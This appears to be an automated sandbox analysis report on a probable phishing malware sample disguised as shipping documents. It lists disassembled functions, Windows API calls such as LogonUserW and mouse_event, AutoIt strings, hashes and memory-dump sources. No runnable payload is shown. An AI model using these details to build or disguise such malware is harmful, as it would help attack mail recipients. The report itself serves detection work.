                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Time$FileSystem__aulldiv__time64
                                                • String ID:
                                                • API String ID: 2893107130-0
                                                • Opcode ID: 22bf9350f8e7d0634f4ec870abad00804ab5ab764c882d1536cf151658da9b73
                                                • Instruction ID: 4fe61bf3f0c3b3a1fc12301bc3c4816e42aa34acf9bb585c2457aac6b75504fc
                                                • Opcode Fuzzy Hash: 22bf9350f8e7d0634f4ec870abad00804ab5ab764c882d1536cf151658da9b73
                                                • Instruction Fuzzy Hash: 3521B1326356108BC729CF69D841A52B3F1EFA5311B688E6CD0F6CB2C0CA74B909CB94
                                                Function 00A04C27 Relevance: 1.5, APIs: 1, Instructions: 24COMMON
                                                Download Yara Rule
                                                APIs
                                                • mouse_event.USER32(00000002,00000000,00000000,00000000,00000000), ref: 00A04C4A
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: mouse_event
                                                • String ID:
                                                • API String ID: 2434400541-0
                                                • Opcode ID: 1f09c1b64b01849de08e41f042ed482871fabdaf00e51c883f4988d6dd1e5b9e
                                                • Instruction ID: 931871e94ca57a3fd5e7125480bb282dd10622657b1e5b9697f2ea70a549ea3c
                                                • Opcode Fuzzy Hash: 1f09c1b64b01849de08e41f042ed482871fabdaf00e51c883f4988d6dd1e5b9e
                                                • Instruction Fuzzy Hash: 8ED052E516620E38FC2C1B20BE0FF7B1218F388782FD0829973028A0C2EC84AC41A030
                                                Function 009F87B1 Relevance: 1.5, APIs: 1, Instructions: 19COMMON
                                                Download Yara Rule
                                                APIs
                                                • LogonUserW.ADVAPI32(?,00000001,?,?,00000000,009F8389), ref: 009F87D1
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: LogonUser
                                                • String ID:
                                                • API String ID: 1244722697-0
                                                • Opcode ID: 7b6df915b821b304781cdbe181ca5200963897ce64de52b3fe78dffc2fcd5212
                                                • Instruction ID: 347dc3a7505a2dca2a6e8f52fdd7047dc997bf789fe845bcf3e97b4e878a8940
                                                • Opcode Fuzzy Hash: 7b6df915b821b304781cdbe181ca5200963897ce64de52b3fe78dffc2fcd5212
                                                • Instruction Fuzzy Hash: E2D05E3226450EAFEF018EA8DD01EBE3B79EB04B01F408121FE15D50A1C775D836AB60
                                                Function 009CA124 Relevance: 1.5, APIs: 1, Instructions: 6COMMON
                                                Download Yara Rule
                                                APIs
                                                • SetUnhandledExceptionFilter.KERNEL32(?), ref: 009CA12A
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: ExceptionFilterUnhandled
                                                • String ID:
                                                • API String ID: 3192549508-0
                                                • Opcode ID: 9685c7cb50dec2a516e70ce112285ca1ed17cda5be0901a8b170b12895f3aab1
                                                • Instruction ID: 2b0209d9875895c6f82b2a0380046e03e36f5f0f2a82efc742f7f879e6f2cb41
                                                • Opcode Fuzzy Hash: 9685c7cb50dec2a516e70ce112285ca1ed17cda5be0901a8b170b12895f3aab1
                                                • Instruction Fuzzy Hash: 75A0123000010CEB8A005B85EC044547F6CD6001907004030F40C44021873254124580
                                                Function 009B8808 Relevance: .6, Instructions: 590COMMON
                                                Download Yara Rule
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID:
                                                • String ID:
                                                • API String ID:
                                                • Opcode ID: 7a59980e1a5e1acc4050ae5097561d236ebe02abc4bf9748effcd13d3585e6f9
                                                • Instruction ID: e20080fa46139cc3b9fb06b16302ff0be549b07707ea8ff094b8e51cd8df3f79
                                                • Opcode Fuzzy Hash: 7a59980e1a5e1acc4050ae5097561d236ebe02abc4bf9748effcd13d3585e6f9
                                                • Instruction Fuzzy Hash: 00226930A0450ACBDF38CA64C5983FE77ADFB49324F29882BD65687592DB74EC91C741
                                                Function 009C21C5 Relevance: .3, Instructions: 345COMMON
                                                Download Yara Rule
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID:
                                                • String ID:
                                                • API String ID:
                                                • Opcode ID: bf6ffcbe3773841c348058a39a16573d3b2338b254e5945c46ce03dce2746f28
                                                • Instruction ID: f3599f2eb3be7df40639b6b56760054d4e8fb0d808b5866100f8773beefc25a6
                                                • Opcode Fuzzy Hash: bf6ffcbe3773841c348058a39a16573d3b2338b254e5945c46ce03dce2746f28
                                                • Instruction Fuzzy Hash: 65C1C7326050930AEF2D47398434A3EFBA55EA37B131A076ED4B3CB0D5EE24C975D661
                                                Function 009C25FA Relevance: .3, Instructions: 341COMMON
                                                Download Yara Rule
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID:
                                                • String ID:
                                                • API String ID:
                                                • Opcode ID: a635e2a33a60bcf8d734eac2a911e111534612f0cd64c6a362f1e57f4f360174
                                                • Instruction ID: 616b44ef89a05634c056a7804e0c00a3e46f469cc75178618830481be5774064
                                                • Opcode Fuzzy Hash: a635e2a33a60bcf8d734eac2a911e111534612f0cd64c6a362f1e57f4f360174
                                                • Instruction Fuzzy Hash: F6C1D2326051930AEF2D473AC474A3EBAA55FA37B131A076ED4B3DB0C5EE20C974D661
                                                Function 009C1978 Relevance: .3, Instructions: 323COMMON
                                                Download Yara Rule
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID:
                                                • String ID:
                                                • API String ID:
                                                • Opcode ID: b18fb967447e529c76739499a87999de3f08bdf72590393fa5476362680146d7
                                                • Instruction ID: 88cb317e1a4275d842dec7316c5277c48dc2cf33b3314e74d8ee59e0c05540e2
                                                • Opcode Fuzzy Hash: b18fb967447e529c76739499a87999de3f08bdf72590393fa5476362680146d7
                                                • Instruction Fuzzy Hash: 06C1B6326050930AEF2D4639C434A3EFBA55EA37B131A075EE4B3CB1C6EE20C975D665
                                                Function 01317B78 Relevance: .1, Instructions: 92COMMON
                                                Download Yara Rule
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1381132432.0000000001314000.00000040.00000020.00020000.00000000.sdmp, Offset: 01314000, based on PE: false
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_1314000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID:
                                                • String ID:
                                                • API String ID:
                                                • Opcode ID: 424b499c86482d5e2cad33d2eb2b77d7085f14ac4781241b47b3debc7e1ef18c
                                                • Instruction ID: e31b732e90f78374ea4d7be7320b0a4cef1e48f72c014714fe2e5e4b057668ee
                                                • Opcode Fuzzy Hash: 424b499c86482d5e2cad33d2eb2b77d7085f14ac4781241b47b3debc7e1ef18c
                                                • Instruction Fuzzy Hash: A941C171D1051CEBCF48CFADC991AAEBBF2AF88201F548299D516AB345D730AB41DB80
                                                Function 01317A08 Relevance: .0, Instructions: 35COMMON
                                                Download Yara Rule
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1381132432.0000000001314000.00000040.00000020.00020000.00000000.sdmp, Offset: 01314000, based on PE: false
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_1314000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID:
                                                • String ID:
                                                • API String ID:
                                                • Opcode ID: 6091d3ab8c142cd01bdaf95ad615aaddba634de501579065cef803e1d5150a63
                                                • Instruction ID: cfa0263d1bd94704300cd1dce28afba8d75698a862d0d0d48512b0dbbc146f6c
                                                • Opcode Fuzzy Hash: 6091d3ab8c142cd01bdaf95ad615aaddba634de501579065cef803e1d5150a63
                                                • Instruction Fuzzy Hash: CD019D79A04209EFCB48DF98C5909AEF7B5FB48314F248599E819A7745E730AE42DB80
                                                Function 01317A68 Relevance: .0, Instructions: 35COMMON
                                                Download Yara Rule
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1381132432.0000000001314000.00000040.00000020.00020000.00000000.sdmp, Offset: 01314000, based on PE: false
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_1314000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID:
                                                • String ID:
                                                • API String ID:
                                                • Opcode ID: 2824983519b781728331ca74e43d8f1b114060d413125894b627f2317d3cf6f3
                                                • Instruction ID: 8129ac6fa3e1aca0b719bfafc86f35e02c55b7a8582de0636d2ed7c6305add2c
                                                • Opcode Fuzzy Hash: 2824983519b781728331ca74e43d8f1b114060d413125894b627f2317d3cf6f3
                                                • Instruction Fuzzy Hash: 2B01E479A10209EFCB48DF98C5809AEF7F5FF48310F248599D809A7305E730AE41CB80
                                                Function 013163E8 Relevance: .0, Instructions: 6COMMON
                                                Download Yara Rule
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1381132432.0000000001314000.00000040.00000020.00020000.00000000.sdmp, Offset: 01314000, based on PE: false
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_1314000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID:
                                                • String ID:
                                                • API String ID:
                                                • Opcode ID: e1f80ac41b4fc2d45690e214ca5193b9bf4f67450f61a2a701b7f1fb86cd8f4e
                                                • Instruction ID: 2052e7d0eb43af8a57a5c2d707c06396f1b84aee57587abda472ed480d51124b
                                                • Opcode Fuzzy Hash: e1f80ac41b4fc2d45690e214ca5193b9bf4f67450f61a2a701b7f1fb86cd8f4e
                                                • Instruction Fuzzy Hash: 1AB012310527488BC2118B89E008B1073ECA308E04F1000B0D40C07B01827874008D48
                                                Function 00A17806 Relevance: 79.2, APIs: 40, Strings: 5, Instructions: 491filecommemoryCOMMON
                                                Download Yara Rule
                                                APIs
                                                • DeleteObject.GDI32(00000000), ref: 00A1785B
                                                • DeleteObject.GDI32(00000000), ref: 00A1786D
                                                • DestroyWindow.USER32 ref: 00A1787B
                                                • GetDesktopWindow.USER32 ref: 00A17895
                                                • GetWindowRect.USER32(00000000), ref: 00A1789C
                                                • SetRect.USER32(?,00000000,00000000,000001F4,00000190), ref: 00A179DD
                                                • AdjustWindowRectEx.USER32(?,88C00000,00000000,00000002), ref: 00A179ED
                                                • CreateWindowExW.USER32(00000002,AutoIt v3,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00A17A35
                                                • GetClientRect.USER32(00000000,?), ref: 00A17A41
                                                • CreateWindowExW.USER32(00000000,static,00000000,5000000E,00000000,00000000,?,?,00000000,00000000,00000000), ref: 00A17A7B
                                                • CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00A17A9D
                                                • GetFileSize.KERNEL32(00000000,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00A17AB0
                                                • GlobalAlloc.KERNEL32(00000002,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00A17ABB
                                                • GlobalLock.KERNEL32(00000000), ref: 00A17AC4
                                                • ReadFile.KERNEL32(00000000,00000000,00000000,00000190,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00A17AD3
                                                • GlobalUnlock.KERNEL32(00000000), ref: 00A17ADC
                                                • CloseHandle.KERNEL32(00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00A17AE3
                                                • GlobalFree.KERNEL32(00000000), ref: 00A17AEE
                                                • CreateStreamOnHGlobal.OLE32(00000000,00000001,88C00000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00A17B00
                                                • OleLoadPicture.OLEAUT32(88C00000,00000000,00000000,00A32CAC,00000000), ref: 00A17B16
                                                • GlobalFree.KERNEL32(00000000), ref: 00A17B26
                                                • CopyImage.USER32(000001F4,00000000,00000000,00000000,00002000), ref: 00A17B4C
                                                • SendMessageW.USER32(?,00000172,00000000,000001F4), ref: 00A17B6B
                                                • SetWindowPos.USER32(?,00000000,00000000,00000000,?,?,00000020,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00A17B8D
                                                • ShowWindow.USER32(00000004,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00A17D7A
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Window$Global$CreateRect$File$DeleteFreeObject$AdjustAllocClientCloseCopyDesktopDestroyHandleImageLoadLockMessagePictureReadSendShowSizeStreamUnlock
                                                • String ID: $@U=u$AutoIt v3$DISPLAY$static
                                                • API String ID: 2211948467-3613752883
                                                • Opcode ID: d6ee966129e473a91afc962132826d67dc67491fe78562c66760c557140052b3
                                                • Instruction ID: 897bf96cadd1bb93da3d09d9bed46818a2c8abca2267d8091db8c99523a74f35
                                                • Opcode Fuzzy Hash: d6ee966129e473a91afc962132826d67dc67491fe78562c66760c557140052b3
                                                • Instruction Fuzzy Hash: 51027B71900115EFDB14DFA8DD89EAE7BB9FF49310F108169F915AB2A1CB70AD42CB60
                                                Function 00A2A5DA Relevance: 59.8, APIs: 33, Strings: 1, Instructions: 260COMMON
                                                Download Yara Rule
                                                APIs
                                                • SetTextColor.GDI32(?,00000000), ref: 00A2A630
                                                • GetSysColorBrush.USER32(0000000F), ref: 00A2A661
                                                • GetSysColor.USER32(0000000F), ref: 00A2A66D
                                                • SetBkColor.GDI32(?,000000FF), ref: 00A2A687
                                                • SelectObject.GDI32(?,00000000), ref: 00A2A696
                                                • InflateRect.USER32(?,000000FF,000000FF), ref: 00A2A6C1
                                                • GetSysColor.USER32(00000010), ref: 00A2A6C9
                                                • CreateSolidBrush.GDI32(00000000), ref: 00A2A6D0
                                                • FrameRect.USER32(?,?,00000000), ref: 00A2A6DF
                                                • DeleteObject.GDI32(00000000), ref: 00A2A6E6
                                                • InflateRect.USER32(?,000000FE,000000FE), ref: 00A2A731
                                                • FillRect.USER32(?,?,00000000), ref: 00A2A763
                                                • GetWindowLongW.USER32(?,000000F0), ref: 00A2A78E
                                                  • Part of subcall function 00A2A8CA: GetSysColor.USER32(00000012), ref: 00A2A903
                                                  • Part of subcall function 00A2A8CA: SetTextColor.GDI32(?,?), ref: 00A2A907
                                                  • Part of subcall function 00A2A8CA: GetSysColorBrush.USER32(0000000F), ref: 00A2A91D
                                                  • Part of subcall function 00A2A8CA: GetSysColor.USER32(0000000F), ref: 00A2A928
                                                  • Part of subcall function 00A2A8CA: GetSysColor.USER32(00000011), ref: 00A2A945
                                                  • Part of subcall function 00A2A8CA: CreatePen.GDI32(00000000,00000001,00743C00), ref: 00A2A953
                                                  • Part of subcall function 00A2A8CA: SelectObject.GDI32(?,00000000), ref: 00A2A964
                                                  • Part of subcall function 00A2A8CA: SetBkColor.GDI32(?,00000000), ref: 00A2A96D
                                                  • Part of subcall function 00A2A8CA: SelectObject.GDI32(?,?), ref: 00A2A97A
                                                  • Part of subcall function 00A2A8CA: InflateRect.USER32(?,000000FF,000000FF), ref: 00A2A999
                                                  • Part of subcall function 00A2A8CA: RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 00A2A9B0
                                                  • Part of subcall function 00A2A8CA: GetWindowLongW.USER32(00000000,000000F0), ref: 00A2A9C5
                                                  • Part of subcall function 00A2A8CA: SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 00A2A9ED
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Color$Rect$Object$BrushInflateSelect$CreateLongTextWindow$DeleteFillFrameMessageRoundSendSolid
                                                • String ID: @U=u
                                                • API String ID: 3521893082-2594219639
                                                • Opcode ID: 7b29eb62fa60bbbc614dfd0f85c9bb9e2f685823f396209632e3a20c0381f2e1
                                                • Instruction ID: 9b5b45a0775540c09b2f828f8b6d8c6a1bf34176559c5701ffaf355d6e82dee4
                                                • Opcode Fuzzy Hash: 7b29eb62fa60bbbc614dfd0f85c9bb9e2f685823f396209632e3a20c0381f2e1
                                                • Instruction Fuzzy Hash: AD915E72408311AFC721DFA8DC08E6B7BB9FB88721F104B39F962961A1D771D946CB52
                                                Function 00A2356B Relevance: 52.9, APIs: 6, Strings: 24, Instructions: 365windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • CharUpperBuffW.USER32(?,?,00A2F910), ref: 00A23627
                                                • IsWindowVisible.USER32(?), ref: 00A2364B
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: BuffCharUpperVisibleWindow
                                                • String ID: @U=u$ADDSTRING$CHECK$CURRENTTAB$DELSTRING$EDITPASTE$FINDSTRING$GETCURRENTCOL$GETCURRENTLINE$GETCURRENTSELECTION$GETLINE$GETLINECOUNT$GETSELECTED$HIDEDROPDOWN$ISCHECKED$ISENABLED$ISVISIBLE$SELECTSTRING$SENDCOMMANDID$SETCURRENTSELECTION$SHOWDROPDOWN$TABLEFT$TABRIGHT$UNCHECK
                                                • API String ID: 4105515805-3469695742
                                                • Opcode ID: 930b5f8485b108851756ba8a427a06a1e756c476314e64ade19036d8601db513
                                                • Instruction ID: b58bd551619ef31cd29bfe40bab6eaf6217fd129d4de6f258f24b0775a39e775
                                                • Opcode Fuzzy Hash: 930b5f8485b108851756ba8a427a06a1e756c476314e64ade19036d8601db513
                                                • Instruction Fuzzy Hash: 1BD17C312083119BCF04EF18D455B6F7BA5AFD6384F144478F8865B3A2DB35EA4ACB82
                                                Function 009A2C18 Relevance: 51.2, APIs: 27, Strings: 2, Instructions: 486windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • DestroyWindow.USER32(?,?,?), ref: 009A2CA2
                                                • DeleteObject.GDI32(00000000), ref: 009A2CE8
                                                • DeleteObject.GDI32(00000000), ref: 009A2CF3
                                                • DestroyIcon.USER32(00000000,?,?,?), ref: 009A2CFE
                                                • DestroyWindow.USER32(00000000,?,?,?), ref: 009A2D09
                                                • SendMessageW.USER32(?,00001308,?,00000000), ref: 009DC43B
                                                • ImageList_Remove.COMCTL32(?,000000FF,?), ref: 009DC474
                                                • MoveWindow.USER32(?,?,?,?,?,00000000), ref: 009DC89D
                                                  • Part of subcall function 009A1B41: InvalidateRect.USER32(?,00000000,00000001,?,?,?,009A2036,?,00000000,?,?,?,?,009A16CB,00000000,?), ref: 009A1B9A
                                                • SendMessageW.USER32(?,00001053), ref: 009DC8DA
                                                • SendMessageW.USER32(?,00001008,000000FF,00000000), ref: 009DC8F1
                                                • ImageList_Destroy.COMCTL32(00000000,?,?), ref: 009DC907
                                                • ImageList_Destroy.COMCTL32(00000000,?,?), ref: 009DC912
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Destroy$ImageList_MessageSendWindow$DeleteObject$IconInvalidateMoveRectRemove
                                                • String ID: 0$@U=u
                                                • API String ID: 464785882-975001249
                                                • Opcode ID: 17d862f50645539962da6d9097e931bf1664ea52d3d95211883ce58a0e91a3b4
                                                • Instruction ID: a5f5a30b3ad027531ddf02c826d37d85f7cc626722d3a53319f4d8d9cd0e86fa
                                                • Opcode Fuzzy Hash: 17d862f50645539962da6d9097e931bf1664ea52d3d95211883ce58a0e91a3b4
                                                • Instruction Fuzzy Hash: AD127D70644202AFDB25CF28C884BA9B7F9FF45310F5485BAF895DB662C731E842DB91
                                                Function 00A174AB Relevance: 47.5, APIs: 22, Strings: 5, Instructions: 284windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • DestroyWindow.USER32(00000000), ref: 00A174DE
                                                • SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00A1759D
                                                • SetRect.USER32(?,00000000,00000000,0000012C,00000064), ref: 00A175DB
                                                • AdjustWindowRectEx.USER32(?,88C00000,00000000,00000006), ref: 00A175ED
                                                • CreateWindowExW.USER32(00000006,AutoIt v3,?,88C00000,?,?,?,?,00000000,00000000,00000000), ref: 00A17633
                                                • GetClientRect.USER32(00000000,?), ref: 00A1763F
                                                • CreateWindowExW.USER32(00000000,static,?,50000000,?,00000004,00000500,00000018,00000000,00000000,00000000), ref: 00A17683
                                                • CreateDCW.GDI32(DISPLAY,00000000,00000000,00000000), ref: 00A17692
                                                • GetStockObject.GDI32(00000011), ref: 00A176A2
                                                • SelectObject.GDI32(00000000,00000000), ref: 00A176A6
                                                • GetTextFaceW.GDI32(00000000,00000040,?,?,50000000,?,00000004,00000500,00000018,00000000,00000000,00000000,?,88C00000,?), ref: 00A176B6
                                                • GetDeviceCaps.GDI32(00000000,0000005A), ref: 00A176BF
                                                • DeleteDC.GDI32(00000000), ref: 00A176C8
                                                • CreateFontW.GDI32(00000000,00000000,00000000,00000000,00000258,00000000,00000000,00000000,00000001,00000004,00000000,00000002,00000000,?), ref: 00A176F4
                                                • SendMessageW.USER32(00000030,00000000,00000001), ref: 00A1770B
                                                • CreateWindowExW.USER32(00000200,msctls_progress32,00000000,50000001,?,0000001E,00000104,00000014,00000000,00000000,00000000), ref: 00A17746
                                                • SendMessageW.USER32(00000000,00000401,00000000,00640000), ref: 00A1775A
                                                • SendMessageW.USER32(00000404,00000001,00000000), ref: 00A1776B
